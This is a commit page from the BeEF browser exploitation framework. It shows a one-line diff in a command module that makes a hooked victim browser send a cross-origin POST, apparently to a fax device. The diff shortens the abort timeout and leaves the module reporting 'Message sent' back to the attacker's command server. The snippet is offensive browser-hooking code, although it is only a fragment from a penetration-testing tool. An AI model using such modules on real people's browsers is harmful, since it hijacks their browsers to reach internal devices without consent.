2 seconds is more than enough to send a fax :p

This commit is contained in:
bmantra
2013-11-29 21:25:35 +01:00
parent 7afa52ec99
commit 94e98f2fbb

View File

@@ -21,7 +21,7 @@ beef.execute(function() {
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send(post_body);
setTimeout(function(){xhr.abort()}, 5000);
setTimeout(function(){xhr.abort()}, 2000);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
});